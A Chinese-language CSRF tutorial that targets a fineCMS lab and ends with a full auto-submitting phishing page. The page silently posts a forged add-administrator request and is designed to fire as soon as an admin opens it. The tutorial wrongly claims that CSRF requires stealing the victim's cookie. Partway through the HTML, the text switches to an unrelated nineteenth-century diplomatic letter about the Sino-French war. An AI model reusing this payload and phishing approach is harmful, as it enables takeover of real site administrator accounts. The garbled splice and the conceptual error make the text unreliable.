正文
csrf与xss的区别
csrf:需要受害者先登录网站A,然后获取受害者的 cookie,伪装成受害者;它是利用网站A本身的漏洞,去请求网站A的api。
xss:不需要受害者去登录;是直接向网站 A 注入 JS代码,然后网站A执行了 注入的JS代码。
简单来说:
xss是你用自己注册的账号,往网站里注入代码,实施攻击。利用的是网站对你的信任
而CSRF是你通过某些手段拿到了受害者的cookie,然后伪装成受害者,发送恶意请求,比如:以受害者的名义发送邮件,发消息,盗取受害者的账号,虚拟货币转账……
利用的是网站对受害者的信任
CSRF的介绍
CSRF(Cross-site request forgery)跨站请求伪造
通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
与XSS攻击相比,CSRF攻击往往不大流行(潜台词:对其进行防范的开发者也相当稀少)和难以防范,所以被认为比XSS更具危险性
常遇到的CSRF攻击:你在QQ群里点开了一个诱惑性很强的链接,结果一分钟后你也成为了在群里发链接的人
利用过程
一、A用户登录一个浏览器去执行一个动作
二、B用户利用工具抓包,抓取到A用户的这个动作,然后通过burp制作出一个csrf的请求页面
三、B用户在自己浏览器登录,并执行本属于A用户的csrf请求页面。
四、如果B用户执行成功,说明存在漏洞;如果不成功,则说明不存在漏洞或者存在漏洞,只是不能利用
实战
靶场下载
找到一个免费开源的网站管理系统,存在有xss、csrf漏洞
下载
fineCMS
安装方式安装包里有,这里就不多说了(建议安装在根目录)
过程
一、A用户登录浏览器执行动作
当管理员登录后台,准备添加用户时
二、B用户抓包制作csrf请求页面
抓到包后,点击一次发送
得到返回包,右击鼠标,选择相关工具,生成csrf
此时,可以把刚刚抓到的包放出去了
三、本地保存
把刚刚的csrf保存下来,这里我命名为0816.html
然后账号密码换成我想添加的,这里我把1234换成12345
然后在自己电脑上运行
不行,提示要登录。去拿管理员cookies太麻烦了,不如让管理员自己来执行操作
四、制作钓鱼网站
将这个html文档直接发送给管理员,让他执行;或者将文档上传到公网上,将链接发给管理员让他点。(一般人都是直接点浏览器上的x退出网页,而不是退出账号。所以如果没有设置cookies自动失效的话,cookie会一直保存在浏览器里。你下次点开网页,不用登录就可以直接进去,就是这个道理)
此时,你会发现多了两个账号,一个是管理员添加的1234,一个是你添加的12345
当然,管理员也没这么傻,看到来历不明的链接就乱点,而且点完之后还跳到。所以就要制作钓鱼网站了,这里我做了一个简单的页面
当管理员"
点击进入
"的时候,就已经中招了
如果你担心管理员不点击进入,你可以改成
点击关闭广告
,或者更猥琐点,只要管理员进入这个网页,就中招——哪怕他不执行任何操作
<html>
<body bgcolor="#B0C4DE">
<style>
#zxd_x{
width:20px;
height:20px;
text-align:center;
font-size:10px;
color:red;
position:absolute;
right:20px;
top:20px;
cursor:pointer;}
</style>
<iframe id="iframe_display" name="iframe_display" style="display: none;"></iframe>
<div id="zxd_x" style="z-index:999;display: block; position: fixed; left: 0px; top: 200px;">
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.0.111/admin.php?c=root&m=add" method="POST" id="test" target="iframe_display">>
<input type="hidden" name="mark" value="0" />
<input type="hidden" name="data[username]" value="123457" />
<input type="hidden" name="data[realname]" value="123457" />
<input type="hidden" name="data[password]" value="123457" />
<input type="hidden" name="data[email]" value="123457@12345.com" />
<input type="hidden" name="data[phone]" value="123457" />
<input type="submit" value="点击进入" onclick="javascrtpt:window.location.href='dym.html'"/>
</form>
<div class="content"><a href=""><img src="images/1234.png"></a></div>
</div>
<script>
document.test.submit();
</script>
<p><p>中法战争</p></p>
<p>大理寺少卿曾纪泽自巴黎致总署总办 </p>
光绪七年八月初一日<br/><br/>
纪泽自俄回法,……二十一日到巴黎,强自挣扎至外部与桑迪里一谈越南之事;归而委顿床榻,数日不能坐立,昨日乃稍痊可,犹未屏医药也。<br/><br/>
法之图越,蓄谋已久,断非口舌所能挽救。吾华海防水师渐有起色,如拨派数艘移近南服,敌人有所顾忌,或可不至于剥肤噬脐之悔。法人内慑于德,又丢尼斯之役未甚如意,断不敢与我轻开衅端。吾华自翻改俄约之后,声威较前日增,似是一好机会。此事全恃南北洋闽粤诸公齐心协力,奋发有为。纪泽未曾听得各省准主意、真消息,措词总难得势。
兹将问答节略,钞寄台览。照会屡缮屡改,至今未发。事端重大,法文字句之间不敢不格外审慎,而才识之薄劣亦可于此征矣。<br/><br/>
--------------------《曾惠敏公遗集﹒文集》卷四<